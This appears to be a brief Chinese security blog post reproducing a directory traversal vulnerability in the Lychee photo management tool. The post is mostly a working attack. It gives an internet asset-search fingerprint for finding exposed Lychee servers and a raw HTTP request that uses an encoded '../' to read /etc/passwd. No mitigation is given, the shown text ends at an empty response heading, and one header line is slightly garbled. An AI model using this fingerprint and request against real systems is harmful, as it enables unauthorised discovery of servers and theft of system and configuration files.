【漏洞复现】Lychee照片管理工具存在目录遍历漏洞

熔城Sec

发布于 2026-07-22 19:56:34

710

漏洞描述

Lychee 照片管理工具对用户输入过滤不当导致路径遍历，攻击者可读取配置文件等敏感信息实现隐私数据获取，也可读取关键配置实现进一步利用。

资产收集

鹰图平台
web.similar_icon=="11405710437107552025"

发送请求

GET /image/..%2fetc%2fpasswd HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding:gzip,deflate
Accept:application/json,text/javascript,*/*;q=0.01
Connection: close
Host:
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;9=0.5,en-U5;q=0.3,en;q=0.2

返回包